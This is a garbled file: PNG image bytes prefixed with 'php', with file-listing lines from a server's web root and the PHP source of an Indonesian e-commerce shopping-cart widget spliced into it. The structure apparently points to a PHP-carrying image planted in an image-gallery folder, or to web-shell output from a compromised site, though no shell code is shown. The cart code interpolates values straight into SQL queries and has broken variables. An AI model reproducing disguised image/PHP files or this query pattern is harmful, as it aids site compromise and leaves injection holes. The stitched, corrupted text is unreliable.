php IHDR w Q )Ba pHYs sRGB gAMA a IDATxMk\U s&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨ G;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j- $_q?qS XzG'ay

| files >> /var/www/html/img_galeri/2r1asasas/root/var/www/html/gs_sub/ |
| files >> /var/www/html/img_galeri/2r1asasas/root/var/www/html/gs_sub/keranjang-belanja.php |
<div class="keranjang-belanja-box col-md-3 pull-right">
<?php
$sid = session_id();
$sql = mysql_query("SELECT * FROM gs_orders_temp
WHERE id_session='$sid'");
$total = 0;
$totaljumlah = 0;
while ($xsy = mysql_fetch_array($sql) )
{
$rs = mysql_fetch_array(mysql_query("SELECT * FROM gs_produk WHERE id_produk = '$xsy[id_produk]' "));
$harga_tampilas = $rs[harga];
echo $harga_tampil;
$subtotalas = $harga_tampilas * $xsy[jumlah];
$totalas = $totalas + $subtotalas;
$totaljumlah += $xsy[jumlah];
}
$total_rpas = format_rupiah($totalas);
echo "<a href='".$base_url."keranjang-belanja.html'>
<span class='glyphicon glyphicon-shopping-cart'></span> $totaljumlah item
<br>
Total: Rp. $total_rpas
</a>";
?>
</div>
y~or5J={Eeu磝Qk ᯘG{?+]ן?wM3X^歌>{7پK>on\jy Rg/=fOroNVv~Y+ NGuÝHWyw[eQʨSb> >}Gmx[o[<{Ϯ_qFvM IENDB`